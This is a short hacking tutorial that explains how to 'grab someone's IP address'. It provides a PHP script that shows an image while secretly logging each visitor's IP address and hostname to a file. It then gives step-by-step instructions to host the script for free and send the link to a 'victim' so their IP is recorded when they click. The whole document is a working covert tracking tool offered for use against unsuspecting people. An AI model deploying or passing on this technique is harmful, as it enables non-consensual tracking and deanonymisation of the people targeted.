How to grab someone's IP address?

Follow these steps:
 1) Copy the below codes into Notepad and save it as Grab.php (.php is must)

2) code:
 
<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$img_number = imagecreate(400,95);
$backcolor = imagecolorallocate($img_number,10,102,153);
$textcolor = imagecolorallocate($img_number,255,255,255);

imagefill($img_number,0,0,$backcolor);
$number0 = " This is Your IP/Proxy";
$number1 = " IP: $_SERVER[HTTP_X_FORWARDED_FOR]";
$number2 = " Host/Proxy: $hostname";
$number4 = " _________________________________";
Imagestring($img_number,10,5,5,$number0,$textcolor);
Imagestring($img_number,10,5,25,$number1,$textcolor);
Imagestring($img_number,10,5,45,$number2,$textcolor);
Imagestring($img_number,10,5,50,$number4,$textcolor);
Imagestring($img_number,10,8,50,$number4,$textcolor);
Imagestring($img_number,10,5,10,$number4,$textcolor);
Imagestring($img_number,10,8,10,$number4,$textcolor);
header("Content-type: image/png");
imagepng($img_number);
$file=fopen("Name-here-to-protect-the-File.txt","a");
$file2 = "- IP joined - IP/Proxy: $_SERVER[HTTP_X_FORWARDED_FOR] - Host: $hostname - '\n' ";
fwrite($file, $file2);
fclose($file);
?>

3) Now make Free account on any of the free web hosting sites Ripway.com or on My3gb .
4) Now Upload Grab.php to your web hosting site.
5) Copy the link of your uploaded file and send it to victim.
6) As soon as victim will click on your link his ip will be saved in your free web hosting site.

7) Enjoy you are Done and Share with your friends